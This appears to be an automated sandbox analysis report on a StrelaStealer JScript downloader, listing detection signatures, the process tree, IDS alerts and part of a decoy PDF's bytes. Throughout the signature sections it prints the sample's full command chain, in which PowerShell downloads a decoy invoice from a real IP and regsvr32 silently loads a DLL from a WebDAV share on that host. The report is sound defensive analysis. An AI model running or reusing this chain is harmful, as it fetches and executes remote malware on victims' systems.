Edit tour

Windows Analysis Report
28098292552574015467.js

Overview

General Information

Sample name:	28098292552574015467.js
Analysis ID:	1588339
MD5:	09a24704ee4902248bfe8798bf3b5ea8
SHA1:	9efc9e4d4b8bacd5570a9a97600da33bd922fbef
SHA256:	d565cfc656dc88ae3a19fdd1e515c4b181afcdc72f752aba3c7b98c18a9f6a95
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3428 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28098292552574015467.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6680 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6220 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6776 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1904 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5988 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1372,i,14120172395520166533,15037682456835421696,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5848 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5460 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6320 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3428	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6680, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6220, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6680, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6220, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28098292552574015467.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28098292552574015467.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28098292552574015467.js", ProcessId: 3428, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5460, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28098292552574015467.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll, ProcessId: 6680, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28098292552574015467.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll, ProcessId: 6680, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28098292552574015467.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll, ProcessId: 6680, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28098292552574015467.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll, ProcessId: 6680, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28098292552574015467.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll, ProcessId: 6680, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28098292552574015467.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28098292552574015467.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28098292552574015467.js", ProcessId: 3428, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6680, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6220, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5848, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5460, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6320, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5848, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5460, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28098292552574015467.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1785969444226.dll, ProcessId: 6680, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:40:26.336826+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:40:28.867879+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:40:26.336826+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 28098292552574015467.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 28098292552574015467.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 28098292552574015467.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:40:26 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

